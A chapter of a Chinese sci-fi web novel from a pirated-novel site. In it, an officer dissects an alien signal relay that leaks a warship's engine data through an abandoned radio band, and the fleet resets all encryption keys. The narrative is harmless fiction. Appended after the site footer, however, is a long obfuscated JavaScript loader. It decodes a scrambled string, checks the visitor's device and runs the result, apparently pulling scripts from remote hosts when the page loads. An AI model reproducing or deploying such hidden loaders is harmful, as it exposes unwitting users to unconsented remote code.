首页
[切换至繁体版]
返回

第67章 中继器解析

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第67章中继器解析(第1/2页)
    仓库里安静得能听见灰尘落地的声音。
    秦岳盯着那个熄了火、像个死盒子一样的中继器,嘴里嘀咕:“这算不算打草惊蛇了?”
    “是蛇自己缩回去了。”林沫沫蹲下来,从工具包里拿出便携式分析仪,接上中继器侧面的一个物理接口,“它收到了关闭指令,说明操控它的人或者虫,知道我们在这儿。”
    分析仪的屏幕亮起来,开始读取中继器内部残留的数据流。
    秦岳凑过来看:“能读出啥?”
    “看运气。”林沫沫手指快速操作,“这种简易中继器存储空间不大,但可能会留下最近的信号日志和配置信息。”
    数据流在屏幕上滚动。
    几秒后,林沫沫手指停住了。
    “找到了。”她调出一段信号波形图,“看这个发射模式,每隔十五分钟自动发送一次加密握手信号,脉冲特征……和我们在跳跃信标附近监测到的网络数据流,存在高度同步。”
    秦岳没完全听懂技术细节,但抓住了重点:“你是说,这玩意儿和虫族那个跳跃网络是一伙的?在实时通讯?”
    “对。”林沫沫把波形图截下来,打包,标记最高优先级,发送指挥室,“它是个地面节点,负责把从舰队内部偷到的数据,中继给远端的跳跃网络,或者反过来,接收网络的指令。”
    她说完,继续往下翻日志。
    又一条发现。
    “再看这个。”林沫沫指着另一段代码,“它的信号发射频段,用的是我们舰队内部标记为‘废弃’的旧通讯频段,三年前升级后就该关闭了,但物理上可能没完全掐断。它用这个频段做伪装,常规安全扫描很容易把它当成背景噪音忽略掉。”
    秦岳骂了一句:“好家伙,还会卡BUG了是吧?专挑我们没人管的角落钻。”
    林沫沫没接话,她正在尝试破解中继器内部一个加密的小型存储模块。
    破解程序跑着。
    她抬头看向秦岳:“秦副官,将军刚才命令全舰扫描类似信号源,有结果了吗?”
    秦岳看了眼自己的战术板:“刚收到指挥室广播,扫描完成了,又发现两处微弱的异常信号源,一个在C区下层动力管道附近,一个在E区备用物资仓库。将军已经命令我带人过去清除。”
    “那这里?”林沫沫问。
    “将军命令我封锁现场后,先去处理那两处。”秦岳说,“你留在这儿,继续分析这个中继器,看能不能挖出更多东西。他说,”秦岳顿了顿,模仿陆墨染那种没什么起伏的语调,“‘让她专注解析,我需要知道这东西到底传了什么出去。’”
    林沫沫点头:“明白。”
    秦岳转身,对带来的两个士兵下令:“你俩守在这门口,任何人不得进入。林少尉需要什么,立刻配合。”
    “是!”
    秦岳又看了眼中继器,对林沫沫说:“祖宗,你小心点,这玩意儿虽然关了,但天知道虫族会不会留个后手,比如自爆什么的。”
    “我会注意。”林沫沫说。
    秦岳带着人匆匆离开了仓库。
    厚重的舱门再次关上。
    仓库里只剩下林沫沫一个人,还有头盔照明灯发出的嗡嗡声。
    她重新把注意力放回分析仪上。
    破解进度条走到了百分之百。
    存储模块解锁。
    里面文件不多,就几个日志文件和一段加密数据包。
    林沫沫先打开日志文件。
    日志记录了过去七十二小时内,中继器的所有活动。
    发送记录、接收记录、信号强度调整、还有……几次特殊的“数据包标记”。
    林沫沫点开最近的一次数据包标记详情。
    标记名称:“引擎数据库-访问记录-异常摘要-3”。
    发送时间:六小时前。
    林沫沫心跳快了一拍。
    她立刻调出之前从核心数据库控制中心追踪到的那些“异常访问记录”的时间线。
    对比。
    时间完全吻合。
    中继器日志里标记的“异常摘要”数据包发送时间,正好对应着数据库被异常访问的高峰期之后。
    “实锤了。”林沫沫低声说。
    虫族工兵物理入侵,安装中继器。
    中继器利用废弃频段伪装,建立隐蔽通讯链路。
    然后,那个隐藏在舰队内部的“内鬼”(或者内鬼程序),从数据库偷到数据,通过某种方式传递给中继器。
    中继器再把数据打包,发送给远端的虫族跳跃网络。
    一条完整的渗透窃密链条。
    林沫沫把这个发现,连同对比时间线的截图,再次打包成加密报告,发送指挥室。
    报告标题她写得很直接:“确认:虫族信号中继器与引擎数据库异常访问存在直接关联。渗透路径完整还原。”
    报告发出去后,她开始尝试解析那段加密数据包。
    数据包加密等级很高,她的便携分析仪算力不够,只能尝试剥离外层,看看元信息。
    剥离程序运行着。
    她靠在旁边的箱子上,稍微喘了口气。
    从钻进维修管道开始,精神就一直紧绷着。
    现在稍微放松一点,才感觉到头盔里有点闷热。
    她调整了一下呼吸,看向分析仪屏幕。
    剥离完成了。
    数据包的核心内容还是加密的,但包头的一些信息露了出来。
    里面包含一串类似“访问路径索引”的东西,还有几个引擎核心参数的代码缩写。
    虽然看不到具体数据,但足以证明,虫族偷的东西,非常要命。
    关系到战舰的“心脏”。
    这时,她个人终端震动了一下。
    一条来自指挥室的加密指令,直接发到她的私人频道。
    发件人:陆墨染。
    内容只有一句话:“报告已阅。命令:继续深入解析中继器存储内容,尝试还原其接收指令的历史记录。秦岳清除任务完成后,会与你汇合。”
    林沫沫回复:“收到。”
    她关掉终端,继续工作。
    (本章未完,请点击下一页继续阅读)第67章中继器解析(第2/2页)
    这次,她开始尝试恢复中继器可能自动删除的“临时缓存”数据。
    这是个细活,需要耐心。
    时间一分一秒过去。
    大概过了二十分钟。
    仓库舱门滑开。
    秦岳带着人回来了,他边走边在通讯器里汇报:“将军,C区和E区的两处信号源已清除,确认是同类简易中继器,已物理销毁。现场未发现其他异常。”
    他走到林沫沫身边:“祖宗,你这边怎么样?”
    林沫沫把分析仪屏幕转向他:“基本清楚了。这东西就是个中转站,利用我们废弃的通讯频段做掩护,专门传送从引擎数据库偷出来的数据。我找到了它和数据库异常访问的时间关联证据。”
    秦岳看着屏幕上那些复杂的时间线和代码,揉了揉太阳穴:“所以,咱们的引擎怎么转,什么时候可能出毛病,虫族那边可能比我们的维修官还清楚?”
    “理论上,是的。”林沫沫说,“如果它们拿到了完整的性能数据和访问日志。”
    秦岳脸色难看:“这仗还打个屁,底裤都被看光了。”
    “所以将军刚才命令全舰扫描和清除。”林沫沫说,“现在发现的这三个点都拔掉了,但不确定还有没有更隐蔽的。”
    她说完,把最后一份总结报告发给了指挥室。
    这份报告里,她画了一张简单的示意图,标出了她推测的完整渗透路径:内部漏洞/内鬼->数据窃取->通过内部网络或物理方式传递至中继器->中继器利用废弃频段发送至外部跳跃网络。
    报告末尾,她加了一条建议:“建议立即对所有标记为‘废弃’但物理未关闭的通讯频段进行彻底清查和物理隔断,并启动全舰通讯加密协议重置,废弃原有可能已泄露的密钥组。”
    报告发送。
    几乎就在发送完成的下一秒,舰队广播频道里响起了陆墨染的声音。
    这次不是对特定单位,而是全舰广播。
    “所有单位注意,现在启动‘深渊’协议。重复,启动‘深渊’协议。所有通讯频段,包括已标记废弃频段,将在三分钟后进行全局加密重置。各作战单元,按预定方案切换至备用加密通道。完毕。”
    广播结束。
    秦岳松了口气:“总算动真格的了。‘深渊’协议一开,之前所有频段,不管在用还是废弃的,密钥全换。虫族就算之前偷到了什么,现在也成废纸了。”
    林沫沫也点了点头。
    这是目前最直接有效的止损方式。
    这时,秦岳的战术板又亮了。
    他看了一眼,对林沫沫说:“将军命令,让你把中继器的所有分析数据,包括物理样本,全部带回A7分析室。后续的渗透路径逆向分析和内鬼追踪,以A7为指挥点。”
    “明白。”林沫沫开始收拾分析仪,并小心地将那个已经静默的中继器从地上取下来,放进专用的隔离收纳箱。
    秦岳帮她拿着箱子,两人一起朝仓库外走去。
    走到门口,秦岳忽然想起什么,说:“对了,将军让我转告你,报告他看了。”
    林沫沫看向他。
    秦岳笑了笑,学着陆墨染那种平静但认真的语气:“他说,‘分析得很透。渗透路径还原得很完整。’”
    秦岳顿了顿,补充道:“我猜,你那个小本本上,又要多一行字了。”
    林沫沫没说话,只是跟着秦岳走出了废弃储藏舱。
    通道里的灯光比仓库里亮得多。
    她回头看了一眼那扇缓缓关上的厚重舱门。
    里面曾经藏着一个虫族的“耳朵”。
    现在,耳朵被拔掉了。
    但听走过的东西,已经传了出去。
    而找出那个把东西递到“耳朵”边的人,或者东西,才是接下来更麻烦的事。
    她转过头,跟着秦岳,朝A7分析室的方向走去。
    ---
    指挥室里。
    陆墨染站在主控台前,面前的光屏上并列显示着三份报告。
    都是林沫沫刚从废弃储藏舱发回来的。
    从信号同步异常,到废弃频段利用,再到与数据库异常访问的关联证实。
    一条比一条清晰地勾勒出了虫族的渗透手法。
    他脸上没什么表情,但眼神很专注。
    这种利用系统遗留漏洞、进行隐蔽数据中继的手法,很老练。
    不像是虫族传统的风格。
    倒更像是……某种经过精心设计的、混合了生物科技与电子战思维的复合渗透模式。
    他调出林沫沫的个人档案。
    在最近那条“具备内部安全威胁识别能力”下面,他输入了新的一行:
    【星历172.8.2,于废弃储藏舱现场解析虫族简易信号中继器,完整还原其利用废弃频段伪装传输、并与核心数据库异常访问关联的渗透路径。分析透彻,逻辑清晰。具备渗透网络逆向解析能力。】
    保存。
    关掉档案。
    他看向星图。
    东部星域的暗红区域依然在闪烁。
    但真正的战场,有时候并不在星空。
    而在自己脚下的战舰里。
    在那些被忽略的管道、废弃的舱室、和忘了关闭的旧频段里。
    他接通内部通讯频道。
    “技术部。”
    “将军!”
    “‘深渊’协议执行情况?”
    “报告将军,全舰所有通讯频段加密重置已完成百分之七十,预计五分钟后全部切换完毕。所有标记废弃频段已物理隔断百分之九十,剩余部分正在处理。”
    “加快速度。”
    “是!”
    通讯结束。
    陆墨染看向观察窗外。
    舰队依旧在寂静的星空中航行。
    但内部,一场无声的、紧急的“换锁”手术,正在每一个角落进行。
    而那个最先发现“锁被撬了”的少尉,此刻正带着找到的“撬锁工具”,前往下一个分析点。
    他需要她找出,是谁,制造了这把“钥匙”。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();